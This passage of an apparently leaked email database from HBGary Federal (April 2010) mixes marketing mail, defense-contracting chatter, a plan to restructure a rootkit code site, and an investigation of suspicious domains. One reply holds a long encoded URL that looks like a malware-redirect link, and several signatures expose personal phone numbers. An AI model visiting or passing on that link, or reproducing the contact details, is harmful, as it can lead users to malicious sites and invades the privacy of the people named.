rootkits\r\n&nbsp;&nbsp;&nbsp; add a [source code search] box\r\n3) convert rootkit project system to a more general purpose source-code repository\r\n&nbsp;&nbsp; 3a) each project includes downloadable zip of source code\r\n&nbsp;&nbsp; 3b) each project includes contributer and short description / article\r\n&nbsp;&nbsp; 3c) the source code of the project can be viewed online using a pretty-printed source code display (php)\r\n&nbsp;&nbsp; 3d) the forum that goes with each project is removed\r\n4) consolidate the forums into a single large forum, preserve historical posts\r\n5) update the project creation to allow source code to any tool to be uploaded, description / short article added\r\n&nbsp;\r\nI can better explain the concept of this on the fone or in person.\r\n&nbsp;\r\n--Greg\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3092,'aaron_hbgary_com/3092.html'),(5056,'2010-04-09','\"Adobe Trials\" <dylan0b@adobe.com>','/aaron@hbgary.com/new/1297003226.M578155P3547Q5056.eml','aaron@hbgary.com','Your InDesign CS4 trial starts here.','\r\n\r\n\r\n\r\n\r\n\r\nMaximize your 30-day trial. \r\n\r\n  \r\n    If this message is not displaying properly, click here to launch your browser.\r\n      \r\n      \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    Thank you for trying Adobe InDesign CS4 software. Over the next 30 days, we encourage you to explore its new and enhanced capabilities with these helpful tips, tutorials, and eSeminars.\r\n  \r\n  \r\n    \r\n        \r\n          \r\n          \r\n          \r\n        \r\n        \r\n          Visit Adobe&reg; TV, your Adobe Creative Suite&reg; 4 software resource center. Packed with training videos, tutorials, tips, and shortcuts&mdash;it\'s everything you\'ll need to get started quickly. \r\n          Explore the new features of Adobe InDesign&reg; CS4 software. Attend free eSeminars on a range of different topics, and learn how you can get the most from your product.\r\n          \r\n        \r\n        \r\n          \r\n          \r\n          Join us as we take you through the new features of Adobe InDesign CS4, including Live Preflight, Customizable Links panel, Conditional text features, and more.\r\n        \r\n        \r\n          &nbsp;\r\n          &nbsp;\r\n          \r\n        \r\n      \r\n  \r\n  \r\n    \r\n      \r\n        \r\n          \r\n          Ready to buy now?\r\n            There\'s no need to wait. Convert your trial to an unrestricted version today.\r\n            Order Adobe InDesign CS4 or get it as part of the complete Adobe Creative\r\n            Suite 4 Design editions.\r\n        \r\n        \r\n          Visit our FAQ page for how to convert your trial and other trial help.\r\n        \r\n      \r\n  \r\n  \r\n    Adobe, the Adobe logo, Creative Suite, and InDesign are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners. \r\n      \r\n      &copy; 2008 Adobe Systems Incorporated. All rights reserved.\r\n      \r\n      PLEASE DO NOT REPLY TO THIS MESSAGE. To obtain information on how to contact Adobe, visit the web at: www.adobe.com/misc/comments.html, or call 800-833-6687.\r\n      \r\n      This is an advertising message from Adobe Systems Incorporated, its affiliates and agents (\"Adobe\"), 345 Park Avenue, San Jose, CA 95110 USA. If you\'d prefer not to receive e&#8211;mail like this from Adobe in the future, please click here to unsubscribe or send an e&#8211;mail to unsubscribe-na@adobesystems.com. Alternatively, you may mail your unsubscribe request to:\r\n      \r\n      UNSUBSCRIBE\r\n      Adobe Systems Incorporated\r\n      P.O. Box 2205\r\n      Beaverton, OR 97075 USA\r\n      \r\n      Your privacy is important to us. Please review Adobe\'s Online Privacy Policy by clicking here:\r\n      www.adobe.com/misc/privacy.html.\r\n  \r\n\r\n\r\n \r\n',13688,'aaron_hbgary_com/13688.html'),(5057,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003226.M769089P3547Q5057.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Template','ok that sounds good. &nbsp;I just get it written and then we can work on the format. &nbsp;I don\'t have indesign but downloading it now. &nbsp;If its a full version that just requires a SN I will let you know.AaronOn Apr 6, 2010, at 11:05 AM, Greg Hoglund wrote:Aaron,\r\n&nbsp;\r\nYou will to have a copy of Adobe InDesign, latest version.&nbsp; Also, we used our graphic designer for this template, John, so he may be able to make a custom look/feel for HBGary Federal.\r\n&nbsp;\r\nLet me know if you have Adobe and I can send you the .indd file.\r\n&nbsp;\r\nI have a full version with serial number here in Sacramento, but it\'s several gigabytes to install.\r\n&nbsp;\r\n-Greg\r\nOn Tue, Apr 6, 2010 at 5:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Can you send me the word version of the document template you used to write the Aurora and REcon papers.\r\nThanks,Aaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1606,'aaron_hbgary_com/1606.html'),(5058,'2010-04-09','\"Adobe Membership\" <cs-auto@adobe.com>','/aaron@hbgary.com/new/1297003226.M947201P3547Q5058.eml','aaron@hbgary.com','Your Adobe Membership','Thank you for becoming a member of the Adobe community. \r\nAdobe Membership is your passport to special benefits,\r\ncontent, and services. \r\n\r\nWith your new membership, you can\r\n\r\n* Subscribe to Adobe Edge\r\n* Review your purchases and activity in the Adobe Store\r\n* Manage and update your Adobe Profile\r\n* Upload and download items in the Adobe Exchange\r\n* Post messages to the Adobe forums\r\n\r\nYour Adobe Membership ID is aaron@hbgary.com.\r\n\r\nLog in to your account at any time to change your Adobe \r\nProfile and preferences, or to sign up for the Edge.\r\n\r\nAdobe Membership Center:\r\n\r\n   http://www.adobe.com/membership/\r\n\r\nEnjoy your new membership!\r\n\r\n\r\nSincerely,\r\n\r\nThe Adobe Team\r\ncs-auto@adobe.com\r\n\r\n\r\nContact Information\r\n\r\nU.S. and Canada: 800 833-6687 \r\nhttp://www.adobe.com/support/\r\n\r\nhttp://www.adobe.com/international/support/\r\n\r\nAdobe Support:  \r\nhttp://www.adobe.com/support/\r\n\r\nAdobe and your privacy:  \r\nhttp://www.adobe.com/misc/privacy.html\r\n\r\nUnsubscribe:  \r\nYou may change your communication preferences by visiting \r\nthis web page: \r\nhttp://www.adobe.com/membership/\r\n\r\nOr, write to newsflash@hvm.macromedia.com and type \r\n\'no thanks\' in the Subject line. \r\n\r\nAdobe Systems Incorporated \r\n345 Park Avenue, San Jose, CA 95110 USA  \r\n',9148,'aaron_hbgary_com/9148.html'),(5059,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003227.M197279P3547Q5059.eml','\"Ted Vera\" <ted@hbgary.com>','Give me a shout when ur up and ready','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10497,'aaron_hbgary_com/10497.html'),(5060,'2010-04-09','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297003227.M391458P3547Q5060.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Follow up','\r\n\r\n\r\n\r\n\r\nFollow up\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in person.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp; Let&#8217;s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense Acquisition Challenge program.&nbsp; How&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8157,'aaron_hbgary_com/8157.html'),(5061,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003227.M573684P3547Q5061.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Fwd: Follow up','FYI.Begin forwarded message:From: \"Lachow, Irving\" &lt;LachowI@ndu.edu&gt;Date: April 9, 2010 9:26:05 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Lachow, Irving Mr OSD ATL\" &lt;Irving.Lachow@osd.mil&gt;Subject: Follow up\r\n\r\nAaron,Great to meet you in person.&nbsp; I’m excited about the opportunities that lie ahead.&nbsp; Let’s get together and plan out some proposals that we can pitch to various agencies.&nbsp; I also think that we should put forward one or two ideas for the Defense Acquisition Challenge program.&nbsp; How’s your schedule the morning of the 20th?Cheers,IrvIrving Lachow, Ph.D.ProfessoriCollegeNational Defense UniversityFort Lesley J. McNairWashington, DC 20319Work: (202) 685-2060Cell: (202) 903-7722Email: lachowi@ndu.edu\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3474,'aaron_hbgary_com/3474.html'),(5062,'2010-04-09','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297003227.M780518P3547Q5062.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Checking in','FYI, we are meeting with EDS today.  Mantech also wants to talk to us.\r\nI also know a company called Cipher Systems that does interesting work\r\nin this space, and I will see them next week as well.\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 06, 2010 8:15 PM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Re: Checking in\r\n\r\nI thought that may be the case.  Well their loss.  We cam ghost their\r\nstory I  not sure they can as easily ghost ours.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 6, 2010, at 5:58 PM, \"Lovegrove, John (TASC)\"\r\n wrote:\r\n\r\n> We just had the conversation today.  When we told Amanda we were\r\n> priming, the conversation ended.\r\n>\r\n> I may have more information tomorrow after the vendors quarterly, they\r\n> will update us on acquisitions.\r\n>\r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n>\r\n>\r\n>\r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive\r\n> use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n> not the intended recipient or his or her authorized agent, the\r\n> reader is\r\n> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n> e-mail is prohibited. If you think that you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 05, 2010 10:00 AM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Re: Checking in\r\n>\r\n> How did the conversations with SAIC go?\r\n> Aaron\r\n>\r\n> On Apr 1, 2010, at 9:37 AM, Lovegrove, John (TASC) wrote:\r\n>\r\n>> Hey Aaron,\r\n>>\r\n>> We are still pulling the team together on COIN, we have a follow up\r\n>> discussion with SAIC tomorrow. I got a random report that the\r\n>> competition was cancelled, did you hear anything about this?\r\n>>\r\n>>\r\n>> John Lovegrove\r\n>> Director\r\n>> Office: (703) 449-3812\r\n>> Cell: (571) 294-5154\r\n>>\r\n>>\r\n>>\r\n>> TASC INTERNAL DISTRIBUTION ONLY\r\n>> This e-mail, including attachments, is intended for the exclusive use\r\n> of\r\n>> the person or entity to whom it is addressed and may contain\r\n>> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n>> not the intended recipient or his or her authorized agent, the reader\r\n> is\r\n>> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n>> e-mail is prohibited. If you think that you have received this e-mail\r\n> in\r\n>> error, please advise the sender by reply e-mail of the error and then\r\n>> delete this e-mail immediately.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, March 29, 2010 2:01 PM\r\n>> To: Lovegrove, John (TASC)\r\n>> Subject: Checking in\r\n>>\r\n>> Hey John,\r\n>>\r\n>> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n>> started thinking about all the other stuff going on.  What is the\r\n>> status of your COIN effort and when would you like to set up anyone\r\n>> to\r\n>> talk about NSA?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',14270,'aaron_hbgary_com/14270.html'),(5063,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003228.M13067P3547Q5063.eml','\"Ted Vera\" <ted@hbgary.com>','','Like you said you just keep pulling the string and more keeps coming. &nbsp;The distracting thing is in most cases I don\'t think there are strong relationships but the links are there and it leads you to even crazier shit so you follow it and waste time. &nbsp;In the process of looking at the sitedogustavo.com stuff I found 1 association to foxnwse.com, specifically:http://steve-carl-trump-10.foxnwse.com/opra-winfry.aspxThis site is owned by a company based in Colorado Springs called Veracitek. &nbsp;The company has a dozen or so bogus sites. &nbsp;Their weird shit is what the sites do. &nbsp;And the company has no possible way to physically contact other than a PO Box in the Springs. &nbsp;So I chased that for a bit because the content on the site is just bizarre, almost looks like its meant to say something but you need a secret decoder ring to figure out what it is.So then I went back to sitedogustavo.com. &nbsp;I can determine if this site is actually linked or is just using the following sites:networksexperts.com (668,000 hits for *.networksexperts.com) owner Alfredo Tomio Jr.eleger.com.br (1,270,000 hits for *.eleger.com.br) owner Adilze Lillian Pavowskiprojetosc.com.br (3,310,000 hits for *.projetosc.com.br) owner Kl Negocios &amp; Participacoes Societarias Ltdasecretariasc.com.br (3,180,000 hits for *.secretariasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdarecepcionistasc.com.br (2,750,000 hits for *.recepcionistasc.com.br) owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaimobiliariosc.com.br (0)&nbsp;owner&nbsp;Kl Negocios &amp; Participacoes Societarias Ltdaglossclub.comemailxperts.comflamengoogle.netahsbrasil.comnetworksexperts.comeleger.com.brprojetosc.com.brsecretariasc.com.br&nbsp;emailxperts.com (2009-03-09)glossclub.com (2009-09-08)flamengoogle.net (2009-07-24) 200.194.238.18ahsbrasil.com (2009-09-08)10 associations between sitedogustavo.com and *.networksexperts.com3 associations between sitedogustavo.com and *.secretariasc.com.br8 associations between sitedogustavo.com and *.eleger.com.br3 associations between sitedogustavo.com and *.projetosc.com.brSEO Consultants (owns 688 domains)Alredo Tomio Jr (owns 23 domains)\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5696,'aaron_hbgary_com/5696.html'),(5064,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003228.M231858P3547Q5064.eml','\"Ted Vera\" <ted@hbgary.com>','','inurl:networksexperts.com sitedogustavo.com\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8171,'aaron_hbgary_com/8171.html'),(5065,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003228.M425908P3547Q5065.eml','\"Irby Thompson\" <irby@pikewerks.com>','still want to get together this afternoon','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',763,'aaron_hbgary_com/763.html'),(5066,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003228.M635019P3547Q5066.eml','\"Ted Vera\" <ted@hbgary.com>','link','http://www.google.com/safebrowsing/diagnostic?site=http://sitedogustavo.com/fh/%3Fp%3D232210&hl=en\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16653,'aaron_hbgary_com/16653.html'),(5067,'2010-04-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003228.M824065P3547Q5067.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: link','http://www3.saveus34.xorg.pl/?p=p52dcWtlcF%2FCj8bYbnOCdVik12qaVp%2FZatrauJ%2BCoKXcz4mbm5h2lpeHmZ%2FCn82MpaSZcZRpxWGUZ5OWk5uYiaSrk6ra1KBqWKV2WqydrKXGaorMmpyScViuzZLZbVbPnaCbmF9oZm6TlJhnY2lwWqqZnnbJodjWa19cZWpwkl6UZF6ZW5WXm2CYYZ3Uj9OhonOpcWpmammSXYrapG1eZmlonF%2BYZmmfU9fXlW5oZG2VmZVvaG1yWpuXdY60U9vPlW1lamk%3D\r\n\r\nSent from my iPad\r\n\r\nOn Apr 9, 2010, at 9:25 AM, Aaron Barr  wrote:\r\n\r\n> http://www.google.com/safebrowsing/diagnostic?site=http://sitedogustavo.com/fh/%3Fp%3D232210&hl=en\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',121,'aaron_hbgary_com/121.html'),(5068,'2010-04-09','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297003229.M21919P3547Q5068.eml','aaron@hbgary.com','Less than 72 hrs left to register for the Apr 15th Naval IT Day Conference - See Speaker and Small Business Line-up','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n5\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n          \r\n           \r\n          flickr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;facebook\r\n           \r\n          twitter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LinkedIn\r\n\r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Less than 72 hrs left to register.  Lower rate is still open online thanks to the generosity of our sponsors.The \r\n        9th Annual AFCEA NOVA\r\n        Naval IT Day\r\n        Naval Changes: Information Dominance, Capitalization \r\n        &amp; the Warfighter\r\n      April \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n      afceanova.org/navalitday\r\n      Speakers\r\n      \r\n         Hon. \r\n          Robert O. Work, Under Secretary of the Navy\r\n        Hon. \r\n          Sean J. Stackley \r\n          - Assistant Secretary of the Navy (ASN), Research, Development, and \r\n          Acquisition (RDA)\r\n        VADM \r\n          Samuel J. Locklear III, USN - Director, Navy Staff (invited)\r\n        Mr. \r\n          Robert Carey - Chief Information Officer, Department \r\n          of the Navy (DON CIO)\r\n        MajGen \r\n          George J. Allen, USMC - Director for Command, Control, \r\n          Communications &amp; Computers &amp; Chief Information Officer (Dir \r\n          C4/CIO), U.S. Marine Corps\r\n        Mr. \r\n          David W. Weddel - Deputy to the Deputy Chief of Naval \r\n          Operations, Information Dominance (N2/N6B)\r\n        Dr. \r\n          Gary Federici - Deputy Assistant Secretary of the Navy \r\n          for, Command, Control, Communications, Computers, Intelligence, Information \r\n          Operations and Space (DASN C4I/IO/Space)\r\n        RDML \r\n          Margaret D. &quot;Peg&quot; Klein, USN - Director of \r\n          Global Operations Officer, Naval Network Warfare Command (NETWARCOM)\r\n        BGen \r\n          David H. Berger, USMC - Director, Operations Division, \r\n          Headquarters, U.S. Marine Corps\r\n        Mr. \r\n          Charles E. Cook - Assistant Deputy Commandant; &amp; \r\n          Deputy Director, Programs Division, Programs and Resources Department\r\n        Mr. \r\n          John D. Burrow - Executive Director, Marine Corps Systems \r\n          Command (MARCORSYSCOM)\r\n        Mr. \r\n          Mark Andress - Director, Knowledge Dominance, OPNAV \r\n          N2/6\r\n        CAPT \r\n          John Pope, USN - Acting Program Executive Officer, Command, \r\n          Control, Communications &amp; Intelligence (PEO C4I)\r\n        CAPT \r\n          Jim Hirst, USN - Deputy Commander, Space Field Activity \r\n          (SSFA), Space and Naval Warfare Systems Command (SPAWAR)\r\n      \r\n      Small \r\n        Business Program\r\n         \r\n        (runs parallel to the main stage program)\r\n      \r\n        CAPT \r\n          P. Gardner Howe III, USN, U.S. Special Operations Command\'s \r\n          Director of Legislative Affairs - IT needs of special forces \r\n          (Seals)\r\n        Phillip \r\n          B. Stiles \r\n          - OPNAV 402D Enterprise Solutions Champion - Logistics\r\n        Oreta \r\n          Stinson, Deputy Director, Small Business Programs, Office \r\n          of the Secretary of the Navy\r\n        CAPT \r\n          Thomas Ryan - OPNAV N41 - changes to Navy \r\n          acquisition policy and strategy, &amp; opportunities\r\n        MGySgt \r\n          Byron M. Bissessar - Communications Chief of the Marine \r\n          Corps Command, Control, Communications &amp; Computers (C4 HQMC)- Marine \r\n          Corps IT operations and opportunities\r\n        Dave \r\n          Dawson - MARCORSYSCOM Roundable\r\n        Stan \r\n          Daise - MARCOR I&amp;L Roundable\r\n        Sarkis \r\n          Tatigian - NAVSEA Roundable\r\n        Faye \r\n          Esaias - SPAWAR Roundable\r\n        Brenda \r\n          Pickett - ONR Roundable\r\n        Lockheed \r\n          Martin - Prime Contracting \r\n          Roundable\r\n        CACI \r\n          - Prime Contracting Roundable\r\n        General \r\n          Counsel \r\n           \r\n          - Small Business legal issues and initiatives \r\n          Roundable\r\n      \r\n      Register \r\n        to Sponsor Naval IT Day\r\n      Register \r\n        to Attend Naval IT Day\r\n      For \r\n        more Information Contact Conference Director:\r\n        Martin Haley, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Navy \r\n          &amp; Marine Command display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Town Hall \r\n          Meetings - runs in the morning and afternoon respectively, \r\n          parallel to the full conference\r\n          \r\n      \r\n      Sponsorships \r\n        are Still Available\r\n      Please \r\n        visit:\r\n        www.afceanova.org/navalitday\r\n      \r\n        \r\n          \r\n            \r\n              Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              \r\n            \r\n            \r\n              &nbsp;\r\n              &nbsp;\r\n              \r\n              &nbsp;\r\n              &nbsp;\r\n            \r\n          \r\n        \r\n      \r\n      &nbsp;\r\n    &nbsp;\r\n    \r\n      \r\n        \r\n           \r\n            \r\n                 \r\n                  NAVAL \r\n                      IT Day Links\r\n                \r\n              \r\n          \r\n           \r\n            \r\n                 \r\n                   - \r\n                      About Naval IT Day\r\n                      - \r\n                      Speakers\r\n                      - Sponsors\r\n                      - Venue \r\n                      &amp; Directions\r\n                      - Registration\r\n                    \r\n                \r\n              \r\n          \r\n        \r\n        \r\n		  \r\n        \r\n           \r\n            \r\n                 \r\n                  Sponsorships \r\n                      Are\r\n                      Still Available\r\n                \r\n              \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Premiere Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Platinum Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n\r\n                  \r\n                  \r\n                    \r\n                  \r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                 Gold Sponsors\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n\r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n\r\n              \r\n            \r\n          \r\n        \r\n        \r\n        \r\n         \r\n    \r\n      &nbsp;\r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',10269,'aaron_hbgary_com/10269.html'),(5069,'2010-04-09','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003229.M220863P3547Q5069.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: still want to get together this afternoon','Do you mind if we move to next week, I am frantically trying to finish  \r\na proposal.\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',14446,'aaron_hbgary_com/14446.html'),(5070,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003229.M413192P3547Q5070.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: still want to get together this afternoon','sure no problem.\r\n\r\nOn Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n\r\n> Do you mind if we move to next week, I am frantically trying to finish a proposal.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14247,'aaron_hbgary_com/14247.html'),(5071,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003229.M605798P3547Q5071.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, April 09, 2010 6:27 AM\r\nTo: Ted Vera\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Fwd: Follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Lachow,\r\nIrving&quot; &lt;LachowI@ndu.edu&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nApril\r\n9, 2010 9:26:05 AM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n&quot;Lachow,\r\nIrving Mr OSD ATL&quot; &lt;Irving.Lachow@osd.mil&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFollow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nGreat to meet you in\r\nperson.&nbsp; I&#8217;m excited about the opportunities that lie ahead.&nbsp; Let&#8217;s\r\nget together and plan out some proposals that we can pitch to various\r\nagencies.&nbsp; I also think that we should put forward one or two ideas for\r\nthe Defense Acquisition\r\nChallenge program.&nbsp; How&#8217;s your schedule the morning of the 20th?\r\n\r\nCheers,\r\n\r\nIrv\r\n\r\nIrving Lachow, Ph.D.\r\n\r\nProfessor\r\n\r\niCollege\r\n\r\nNational Defense University\r\n\r\nFort Lesley J. McNair\r\n\r\nWashington, DC 20319\r\n\r\nWork: (202) 685-2060\r\n\r\nCell: (202) 903-7722\r\n\r\nEmail: lachowi@ndu.edu\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15541,'aaron_hbgary_com/15541.html'),(5072,'2010-04-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003229.M823523P3547Q5072.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Update on Podcast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhichever you think 